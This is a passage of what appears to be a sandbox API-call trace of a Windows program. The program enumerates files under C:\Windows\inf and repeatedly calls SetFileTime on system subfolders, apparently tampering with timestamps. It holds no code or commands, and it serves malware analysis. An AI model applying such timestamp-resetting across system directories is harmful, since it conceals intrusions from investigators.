lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90065161, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x90065161, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x90065161, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x2458, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnxx002.PNF", cAlternateFileName="")) returned 1 [0130.632] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.632] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnxx002.inf") returned="prnxx002.inf" [0130.632] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.632] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.632] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x853d696d, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x853d696d, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0x8531829c, ftLastWriteTime.dwHighDateTime=0x1ca03f8, nFileSizeHigh=0x0, nFileSizeLow=0x2544, dwReserved0=0x0, dwReserved1=0x0, cFileName="puwk.inf", cAlternateFileName="")) returned 1 [0130.632] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.632] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnxx002.PNF") returned="prnxx002.PNF" [0130.633] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.633] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.633] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.633] PathFindFileNameA (pszPath="C:\\Windows\\inf\\puwk.inf") returned="puwk.inf" [0130.633] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.633] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.633] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.634] PathFindFileNameA (pszPath="C:\\Windows\\inf\\qd3x64.inf") returned="qd3x64.inf" [0130.634] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.634] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.634] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.634] PathFindFileNameA (pszPath="C:\\Windows\\inf\\qd3x64.PNF") returned="qd3x64.PNF" [0130.634] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.634] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.634] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.634] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ql2300.inf") returned="ql2300.inf" [0130.635] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.635] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.635] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.635] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ql2300.PNF") returned="ql2300.PNF" [0130.635] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.635] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.635] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.635] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ql40xx.inf") returned="ql40xx.inf" [0130.635] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.635] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.636] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.636] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ql40xx.PNF") returned="ql40xx.PNF" [0130.636] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.636] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.636] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.636] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ql40xx2.inf") returned="ql40xx2.inf" [0130.637] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.637] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.637] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.637] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ql40xx2.PNF") returned="ql40xx2.PNF" [0130.637] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.637] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.638] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.638] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ramdisk.inf") returned="ramdisk.inf" [0130.638] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.638] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.638] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.638] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ramdisk.PNF") returned="ramdisk.PNF" [0130.638] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.638] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.639] PathFindFileNameA (pszPath="C:\\Windows\\inf\\rawsilo.inf") returned="rawsilo.inf" [0130.639] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.639] PathFindFileNameA (pszPath="C:\\Windows\\inf\\rawsilo.PNF") returned="rawsilo.PNF" [0130.639] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.639] PathFindFileNameA (pszPath="C:\\Windows\\inf\\rdpbus.inf") returned="rdpbus.inf" [0130.639] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.640] lstrcmpA (lpString1=".", lpString2="rdyboost") returned -1 [0130.640] lstrcmpA (lpString1="..", lpString2="rdyboost") returned -1 [0130.640] PathFindFileNameA (pszPath="C:\\Windows\\inf\\rdpbus.PNF") returned="rdpbus.PNF" [0130.640] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\rdyboost\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e423fe3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501536, cFileName=".", cAlternateFileName="")) returned 0x502598 [0130.642] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.642] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.642] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.642] lstrcmpA (lpString1=".", lpString2="0000") returned -1 [0130.642] lstrcmpA (lpString1="..", lpString2="0000") returned -1 [0130.642] PathFindFileNameA (pszPath="C:\\Windows\\inf\\rdyboost\\*.*") returned="*.*" [0130.642] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\rdyboost\\0000\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80b49365, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80b49365, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.643] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.643] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.643] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.643] PathFindFileNameA (pszPath="C:\\Windows\\inf\\rdyboost\\0000\\*.*") returned="*.*" [0130.643] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\rdyboost\\0000\\" | out: lpString1="C:\\Windows\\inf\\rdyboost\\0000\\") returned="C:\\Windows\\inf\\rdyboost\\0000\\" [0130.646] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.646] CloseHandle (hObject=0x8c) returned 1 [0130.646] lstrcmpA (lpString1=".", lpString2="0409") returned -1 [0130.646] lstrcmpA (lpString1="..", lpString2="0409") returned -1 [0130.646] PathFindFileNameA (pszPath="C:\\Windows\\inf\\rdyboost\\*.*") returned="*.*" [0130.646] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\rdyboost\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23625959, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.647] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.647] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.647] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.647] PathFindFileNameA (pszPath="C:\\Windows\\inf\\rdyboost\\0409\\*.*") returned="*.*" [0130.647] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\rdyboost\\0409\\" | out: lpString1="C:\\Windows\\inf\\rdyboost\\0409\\") returned="C:\\Windows\\inf\\rdyboost\\0409\\" [0130.649] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.650] CloseHandle (hObject=0x8c) returned 1 [0130.650] PathFindFileNameA (pszPath="C:\\Windows\\inf\\rdyboost\\*.*") returned="*.*" [0130.650] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\rdyboost\\" | out: lpString1="C:\\Windows\\inf\\rdyboost\\") returned="C:\\Windows\\inf\\rdyboost\\" [0130.653] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.653] CloseHandle (hObject=0x88) returned 1 [0130.653] lstrcmpA (lpString1=".", lpString2="RemoteAccess") returned -1 [0130.654] lstrcmpA (lpString1="..", lpString2="RemoteAccess") returned -1 [0130.654] PathFindFileNameA (pszPath="C:\\Windows\\inf\\*.*") returned="*.*" [0130.654] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\RemoteAccess\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe5c28cc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x375a498b, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x375a498b, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0130.654] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.654] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.655] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.655] lstrcmpA (lpString1=".", lpString2="0000") returned -1 [0130.655] lstrcmpA (lpString1="..", lpString2="0000") returned -1 [0130.655] PathFindFileNameA (pszPath="C:\\Windows\\inf\\RemoteAccess\\*.*") returned="*.*" [0130.655] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\RemoteAccess\\0000\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe5c28cc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe9ecea4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe9ecea4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.655] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.656] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.656] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.656] PathFindFileNameA (pszPath="C:\\Windows\\inf\\RemoteAccess\\0000\\*.*") returned="*.*" [0130.656] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\RemoteAccess\\0000\\" | out: lpString1="C:\\Windows\\inf\\RemoteAccess\\0000\\") returned="C:\\Windows\\inf\\RemoteAccess\\0000\\" [0130.658] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.658] CloseHandle (hObject=0x8c) returned 1 [0130.659] lstrcmpA (lpString1=".", lpString2="0409") returned -1 [0130.659] lstrcmpA (lpString1="..", lpString2="0409") returned -1 [0130.659] PathFindFileNameA (pszPath="C:\\Windows\\inf\\RemoteAccess\\*.*") returned="*.*" [0130.659] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\RemoteAccess\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x375a498b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.659] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.659] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.660] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.660] PathFindFileNameA (pszPath="C:\\Windows\\inf\\RemoteAccess\\0409\\*.*") returned="*.*" [0130.660] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\RemoteAccess\\0409\\" | out: lpString1="C:\\Windows\\inf\\RemoteAccess\\0409\\") returned="C:\\Windows\\inf\\RemoteAccess\\0409\\" [0130.662] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.662] CloseHandle (hObject=0x8c) returned 1 [0130.662] PathFindFileNameA (pszPath="C:\\Windows\\inf\\RemoteAccess\\*.*") returned="*.*" [0130.662] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\RemoteAccess\\" | out: lpString1="C:\\Windows\\inf\\RemoteAccess\\") returned="C:\\Windows\\inf\\RemoteAccess\\" [0130.665] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.665] CloseHandle (hObject=0x88) returned 1 [0130.665] PathFindFileNameA (pszPath="C:\\Windows\\inf\\*.*") returned="*.*" [0130.665] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.666] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ricoh.inf") returned="ricoh.inf" [0130.666] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.666] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ricoh.PNF") returned="ricoh.PNF" [0130.666] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.666] PathFindFileNameA (pszPath="C:\\Windows\\inf\\rndiscmp.inf") returned="rndiscmp.inf" [0130.666] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.667] PathFindFileNameA (pszPath="C:\\Windows\\inf\\rndiscmp.PNF") returned="rndiscmp.PNF" [0130.667] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.667] PathFindFileNameA (pszPath="C:\\Windows\\inf\\rspndr.inf") returned="rspndr.inf" [0130.667] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.667] PathFindFileNameA (pszPath="C:\\Windows\\inf\\rspndr.PNF") returned="rspndr.PNF" [0130.667] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.667] PathFindFileNameA (pszPath="C:\\Windows\\inf\\sbp2.inf") returned="sbp2.inf" [0130.667] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.668] PathFindFileNameA (pszPath="C:\\Windows\\inf\\sbp2.PNF") returned="sbp2.PNF" [0130.668] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.669] PathFindFileNameA (pszPath="C:\\Windows\\inf\\sceregvl.inf") returned="sceregvl.inf" [0130.669] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.669] PathFindFileNameA (pszPath="C:\\Windows\\inf\\scrawpdo.inf") returned="scrawpdo.inf" [0130.669] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.669] PathFindFileNameA (pszPath="C:\\Windows\\inf\\scrawpdo.PNF") returned="scrawpdo.PNF" [0130.669] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.670] PathFindFileNameA (pszPath="C:\\Windows\\inf\\scsidev.inf") returned="scsidev.inf" [0130.670] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.670] PathFindFileNameA (pszPath="C:\\Windows\\inf\\scsidev.PNF") returned="scsidev.PNF" [0130.670] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.670] PathFindFileNameA (pszPath="C:\\Windows\\inf\\sdbus.inf") returned="sdbus.inf" [0130.670] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.671] PathFindFileNameA (pszPath="C:\\Windows\\inf\\sdbus.PNF") returned="sdbus.PNF" [0130.671] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.671] PathFindFileNameA (pszPath="C:\\Windows\\inf\\secrecs.inf") returned="secrecs.inf" [0130.671] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.671] lstrcmpA (lpString1=".", lpString2="ServiceModelEndpoint 3.0.0.0") returned -1 [0130.671] lstrcmpA (lpString1="..", lpString2="ServiceModelEndpoint 3.0.0.0") returned -1 [0130.671] PathFindFileNameA (pszPath="C:\\Windows\\inf\\sensorsalsdriver.inf") returned="sensorsalsdriver.inf" [0130.671] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e423fe3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501536, cFileName=".", cAlternateFileName="")) returned 0x502598 [0130.674] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.675] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.675] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.675] lstrcmpA (lpString1=".", lpString2="0000") returned -1 [0130.675] lstrcmpA (lpString1="..", lpString2="0000") returned -1 [0130.675] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\*.*") returned="*.*" [0130.675] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\0000\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80b49365, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80b49365, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.675] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.676] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.676] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.676] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\0000\\*.*") returned="*.*" [0130.676] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\0000\\" | out: lpString1="C:\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\0000\\") returned="C:\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\0000\\" [0130.678] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.678] CloseHandle (hObject=0x8c) returned 1 [0130.679] lstrcmpA (lpString1=".", lpString2="0409") returned -1 [0130.679] lstrcmpA (lpString1="..", lpString2="0409") returned -1 [0130.679] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\*.*") returned="*.*" [0130.679] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x225e5094, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.679] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.680] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.680] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.680] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\0409\\*.*") returned="*.*" [0130.680] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\0409\\" | out: lpString1="C:\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\0409\\") returned="C:\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\0409\\" [0130.682] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.682] CloseHandle (hObject=0x8c) returned 1 [0130.708] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\*.*") returned="*.*" [0130.708] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\" | out: lpString1="C:\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\") returned="C:\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\" [0130.710] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.711] 